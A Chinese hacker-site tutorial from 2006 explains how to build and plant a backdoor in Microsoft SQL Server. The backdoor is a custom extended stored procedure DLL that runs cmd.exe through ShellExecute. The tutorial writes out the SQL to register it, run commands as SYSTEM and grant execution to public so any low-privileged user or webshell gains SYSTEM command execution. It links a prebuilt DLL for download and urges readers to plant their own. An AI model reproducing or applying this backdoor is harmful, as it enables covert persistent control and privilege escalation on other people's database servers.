首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 黑客教学 >> 正文
MSSQL扩展存储后门
时间:2006-3-25 4:38:12 出处:http://blog.csdn.net/lake2 作者:lake2 编辑:mervin 点击数:
注:本文发表于《黑客防线》2006年第2期
    继WebShell、FTPShell之后,让我们再来玩玩SQLShell 吧。
    使用数据库考虑最多的就是速度和效率,所以呢,数据库系统就使用了存储过程这种机制来提高速度和效率。SQL Server 2000 支持5种类型的存储过程,这里我们主要说说SQL Server的扩展存储过程,因为我们要利用它做后门。
    看看书上对扩展存储过程的定义:
    在SQL Server 2000环境之外的动态链接库称为扩展存储过程,其前缀是xp_。虽然这些动态链接库在SQL Server环境之外,但是它们可以被加载到SQL Server系统中,并按照使用存储过程的方式执行。
    呵呵,最典型的扩展存储就是SQL Serve自带那个xp_cmdshell,真是杀人灭口居家旅行必备良药啊。那个扩展存储需要sysadmin权限才能执行,一旦执行了CMD,那可是MSSQL的权限哦,而MSSQL是以服务启动的,也就是System权限,嘿嘿,比管理员大叔的权力还大!
    为了安全起见,一般管理员大叔都是删除了xp_cmdshell过程的,更有甚者直接删掉带有xp_cmdshell的文件xplog70.dll。这样多不好啊,我们没得玩了。
    我的后门思路就放在扩展存储过程上面,因为扩展存储是以dll方式存在,而且那个dll是用C++编写且可以任意调用API函数。这样我们就可以写一个执行CMD的扩展存储(最初我是想直接修改xplog70.dll中xp_cmdshell的名字,不过失败了,在此略过略过)。
    扩展存储过程可在VC里创建。创建扩展存储过程的工程之后,VC会自动生成一个扩展存储过程模板,稍稍看看,你就很容易上手了(MS真是想得周到啊)。
    这里我主要是去掉了返回值,增加了一个ShellExecute函数用于执行cmd。ShellExecute函数可是一个比较有用的函数,它可以根据后缀自动选择相关联的程序打开文件。
    以下是其用法:
HINSTANCE ShellExecute(
    HWND hwnd,
    LPCTSTR lpOperation,
    LPCTSTR lpFile,
    LPCTSTR lpParameters,
    LPCTSTR lpDirectory,
    INT nShowCmd
); 
    第一个参数是句柄,在这里不用;第二个参数是对文件的动作,这里选“open”;第三个参数是执行的文件,这里自然是cmd.exe了;第四个参数是命令行参数,这个填程序接收到的参数;第五个参数是默认目录,把它空着;最后一个参数是程序运行时的显示方式,MSSQL都是以服务启动的,这里即使是最大化显示管理员大叔也是看不到的。
    好了,所以我们的函数使用为:
ShellExecute(0,"open","cmd.exe",spParam,NULL,SW_SHOW);
    spParam是从扩展存储过程得到的参数,具体的实现请看源代码;扩展存储的编写请参阅MSDN。
    ShellExecute有个坏处就是看不到回显,不过这里把权限拿到了,不要回显也无所谓。当然你也可以自己写个显示回显的扩展存储过程。
    Ok,扩展存储命名为xp_lake2,dll文件名为xplake2.dll,现在让我们把它注册到SQL Server:
USE master
EXEC sp_addextendedproc 'xp_lake2', 'xplake2.dll'
    注意,添加扩展存储过程要求连接SQL Server的帐户有sysadmin权限;使用相对路径的话得把dll文件放到SQL Server目录的binn之下。
    好啦,我们可以试试效果了,调用的参数跟xp_cmdshell一样,只是没有回显。在查询分析器里调用它:
USE master
EXEC xp_lake2 'net user > c:\lake2.txt'
    赶快去C盘看看有没有生成lake2.txt吧!至于权限嘛,呵呵,当然是system啦。
    SQL Server的扩展存储都要求sysadmin才能执行,不爽,让我们给它改改,让public也可以玩。
    如果拿到图形界面用企业管理器就可以轻松搞定,只需把xp_lake2的Exec权限赋给public就ok了。在查询分析器里就用GRANT:
GRANT exec
On xp_lake2
TO public 
    然后换一个普通的SQL Server用户调用xp_lake2试试,执行命令还是system权限哦。呵呵,在webshell里试试吧,结果也一样的。以下是利用海洋2006调用这个扩展存储过程的截图:

    因为返回的值是空,所以显示出错,但是命令是执行了的,现在命令行下用net user看看吧:

    好啦,文章到此结束,大家赶紧去留自己的SQLShell吧^_^
    dll可以在这里下载到:http://www.0x54.org/lake2/program/xplake2.dll
精彩推荐
今天你泄露了吗 网络个
黑反归来,重要通知!
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
BMP文件格式分析
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
报障QQ:281873518,479748258 EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号